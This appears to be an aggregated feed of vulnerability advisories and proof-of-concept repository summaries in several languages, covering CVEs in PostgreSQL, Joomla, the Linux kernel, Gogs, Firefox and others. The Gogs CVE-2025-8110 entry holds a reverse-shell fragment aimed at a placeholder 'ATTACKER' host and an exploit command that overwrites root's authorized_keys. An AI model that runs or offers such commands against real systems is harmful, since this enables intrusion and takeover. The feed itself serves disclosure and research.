postgresql: pltcl: plperl: PostgreSQL: Arbitrary code execution in 32-bit pltcl and plperl

A flaw was found in PostgreSQL. An integer wraparound vulnerability in 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This can lead to arbitrary code execution as the operating system...

CVE-2026-81565

Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Upload in SP Page Builder Free and Pro 4.0.0 - 6.9.0 - The folder request parameter replaced the generated date-based destination folder in its entirety and was then passed to Folder::create and File::upload without either...

CVE-2026-81565

SP Page Builder (Free and Pro) by joomshaper.com, a Joomla extension, is affected in versions 4.0.0 through 6.9.0 by a Missing Directory Confinement flaw in its media upload functionality. The folder request parameter fully replaced the generated date-based destination folder and was passed to Fo...

CVE-2026-81565 Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Upload in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0

Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Upload in SP Page Builder Free and Pro 4.0.0 - 6.9.0 - The folder request parameter replaced the generated date-based destination folder in its entirety and was then passed to Folder::create and File::upload without either...

CVE-2026-81565 Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Upload in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0

Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Upload in SP Page Builder Free and Pro 4.0.0 - 6.9.0 - The folder request parameter replaced the generated date-based destination folder in its entirety and was then passed to Folder::create and File::upload without either...

kernel: drm/xe/pt: Reset current_op in xe_pt_update_ops_init()

A flaw was found in the Linux kernel's drm/xe/pt module. During certain memory management operations, an internal counter is not properly reset. Repeated attempts to perform these operations, possibly due to resource contention or out-of-memory conditions, can cause this counter to exceed its...

kernel: dm-verity: fix buffer overflow in FEC calculation

A flaw was found in the dm-verity component of the Linux kernel. A buffer overflow occurs during Forward Error Correction FEC calculation, allowing an attacker to write past the end of an allocated buffer. This out-of-bounds write can corrupt the syndrome buffer, potentially leading to system...

CVE-2025-4517-PoC

CVE-2025-4517-PoC CVE-2025-4517 是 Python tarfile 模块中的一个漏洞，允许在解压不受信任的 tar 归档文件时，在提取目录之外写入任意文件。该问题出现在使用 TarFile.extract 或 TarFile.extractall 并指定 filter="data" 或 filter="tar" 时，后者无法完全阻止通过精心构造的 tar 成员进行的路径遍历攻击。 Python 3.14 将默认提取过滤器更改为 "data"，因此依赖此默认值的应用程序也可能受到影响。虽然源代码分发的安装不受显著影响，但任何使用这些过滤器解压不受信任 tar...

libkcapi: Memory corruption via uncanceled AIO requests on error in libkcapi's one-shot AIO path

Memory Corruption via Uncanceled AIO Requests on Error: libkcapi's one-shot AIO path can return an error before all submitted IOCBs are drained, allowing later kernel writes into caller-owned output buffers...

libkcapi: Memory corruption via uncanceled AIO requests on error in libkcapi's one-shot AIO path

Memory Corruption via Uncanceled AIO Requests on Error: libkcapi's one-shot AIO path can return an error before all submitted IOCBs are drained, allowing later kernel writes into caller-owned output buffers...

watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260

CVE-2025-71257 y CVE-2025-71260 Cadena de Ejecución Remota de Código Pre-Autenticada en BMC FootPrints Herramienta Generadora de Artefactos de Detección de la Cadena de Ejecución Remota de Código Pre-Autenticada en BMC FootPrints Descripción Este Generador de Artefactos de Detección verifica si l...

varlib-cve-2025-66034

Exploit de fontTools varLib CVE-2025-66034 Este repositorio no introduce una nueva vulnerabilidad. Este es un exploit de prueba de concepto para CVE-2025-66034 que afecta al pipeline de generación de fuentes variables varLib de fontTools. La vulnerabilidad permite a los atacantes controlar el...

CVE-2026-2796-and-CVE-2026-2768-escape-the-wasm-box

CVE-2026-2796 + CVE-2026-2768 — Escapa de la caja de Wasm Investigación sobre explotación de Firefox de cadena completa: una confusión de tipos en WebAssembly para ejecución de código en el renderer , encadenada hacia un bug del proceso padre para un escape del sandbox. Ambos bugs se corrigieron ...

CVE-2017-1000117

Repositorio PoC para CVE-2017-1000117 de VulApps Bifurcado desde joernchen/CVE-2017-1000117 git clone --recursive https://github.com/Jerry-zhuang/CVE-2017-1000117.git escribirá la salida de id en un archivo vul en /var/www/html. Ver más en VulApps...

cve-2021-4034-mock

CVE-2021-4034 PwnKit Sistema de Vulnerabilidad Simulada Este proyecto es un sistema simulado que reproduce el principio de funcionamiento central de la vulnerabilidad CVE-2021-4034 Out-of-Bounds Read/Write ocurrida en el demonio pkexec de Linux. Sin una elevación real de privilegios SUID, simula ...

CVE-2025-8110

CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' 使用后清理漏洞利用仓库 python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \ --target-file /root/.ssh/authorizedkeys --content-file /.ssh/idrsa.pub --cleanup 工作原理 1. 认证 — 登录（或自助注册）并创建一个 API 令牌。 2. 创建仓库 — 通过 Web 界面初始化一个包含 READ...

CVE-2026-43284-DirtyFrag-PoC

CVE-2026-43284 — 4字节XFRM/ESP 概念验证 通过XFRM/ESP页缓存损坏实现本地权限提升 4字节写入原语 · 48次迭代 · 192字节ELF覆写 · 非特权用户 + netns 概念验证 左图： 内核预检、setuid 扫描及利用链 · 右图： 生成的 root shell —— id / whoami 确认 uid=0root 测试于 WSL2 · Ubuntu 24.04.1 LTS · 内核 6.6.87.2-microsoft-standard-WSL2 root@kitploit:...

CVE-2026-82782

Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service DoS condition...

CVE-2026-82768

Path traversal vulnerability exists in SGA1000. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP...

CVE-2026-21045_and_CVE-2026-21048

CVE-2026-21045 y CVE-2026-21048 — PoC de escritura OOB en libimagecodec.quram.so de Samsung Resumen Este repositorio contiene archivos conceptuales de Prueba de Concepto PoC que demuestran vulnerabilidades de escritura fuera de límites OOB en la biblioteca de códec de imagen Quramsoft...